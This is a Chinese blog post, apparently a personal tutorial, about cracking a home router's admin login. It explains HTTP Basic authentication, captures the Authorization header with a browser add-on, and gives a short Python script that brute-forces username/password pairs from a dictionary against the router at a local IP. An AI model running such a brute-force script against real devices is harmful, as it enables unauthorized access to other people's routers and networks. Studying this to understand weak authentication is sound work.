zoukankan      html  css  js  c++  java
  • 关于破解路由器密码

    http://daily.zhihu.com/story/3603866?utm_campaign=in_app_share&utm_medium=Android

    先看看上面的那个文章

    ------------

    Evi1m0大牛破解了路由器的连接密码之后,又破解了路由器的管理登陆密码,这个过程就是一笔带过,在这里详细的说一下。

    首先说什么是http basic认证

    在HTTP协议进行通信的过程中,HTTP协议定义了基本认证过程以允许HTTP服务器对WEB浏览器进行用户身份证的方法,当一个客户端向HTTP服务 器进行数据请求时,如果客户端未被认证,则HTTP服务器将通过基本认证过程对客户端的用户名及密码进行验证,以决定用户是否合法。客户端在接收到HTTP服务器的身份认证要求后,会提示用户输入用户名及密码,然后将用户名及密码以BASE64加密,加密后的密文将附加于请求信息中, 如当用户名为anjuta,密码为:123456时,客户端将用户名和密码用“:”合并,并将合并后的字符串用BASE64加密为密文,并于每次请求数据 时,将密文附加于请求头(Request Header)中。HTTP服务器在每次收到请求包后,根据协议取得客户端附加的用户信息(BASE64加密的用户名和密码),解开请求包,对用户名及密码进行验证,如果用 户名及密码正确,则根据客户端请求,返回客户端所需要的数据;否则,返回错误代码或重新要求客户端提供用户名及密码。

    我们先抓包看看http头是什么样的。

    我使用的是firefox + tamper data,首先是安装这个插件。

    https://addons.mozilla.org/zh-CN/firefox/addon/tamper-data/?src=search

    安装之后,按alt,就能显示菜单栏了,工具 -- tamper data,

    开路由器的登录网址,我的是http://192.168.1.253 

    点击上面的start tamper,然后输入账号密码,

    点击tamper,拦截这个请求,然后可以看到

    看到Authorization这个了吧,后面跟的明显是base64编码的内容,我们解码看看

    这就是我们的账号密码中间加一个冒号,然后base64编码。

    基本原理明白了,我们就可以去写程序破解了。

    找一个账号密码字典,然后编码,加到http头,就是这个easy。

    #coding:utf-8
    import base64
    import urllib2
    password_dic = [["root", "root"], ["admin", "admin"], ["admin", "rootroot"]]
    request = urllib2.Request('http://192.168.1.253')
    #request.add_header('Authorization', 'Basic YWRtaW46cm9vdHJvb3Q=')
    for item in password_dic:
        psw_base64 = "Basic " + base64.b64encode(item[0] + ":" + item[1])
        request.add_header('Authorization', psw_base64)
        try:
            response = urllib2.urlopen(request)
            print "Correct! Username: %s, password: %s" % (item[0], item[1])
            break
        except urllib2.HTTPError:
            print "Error!"

    使用了python自带的urllib2,上面password_dic就是自己随便写的,真正去破解的话,有很大的字典呢,而且多线程去跑。

    request.add_header('Authorization', psw_base64)

    就将我们构造的账号密码的http头加进去了。


    看到了吧,最后破解出密码就是admin-rootroot。(你来攻击我啊~)

  • 相关阅读:
    耿建超英语语法---使动词
    tensorboard的安装及遇到的问题
    利用PIL实现图片的切割
    mysql explain
    laravel sql查询
    聚簇索引和非聚簇索引
    修改数据表结构导致的问题
    接口优化记录
    redis优化记录
    php 判断两个数组是否相等
  • 原文地址:https://www.cnblogs.com/virusdefender/p/3655885.html
Copyright © 2011-2022 走看看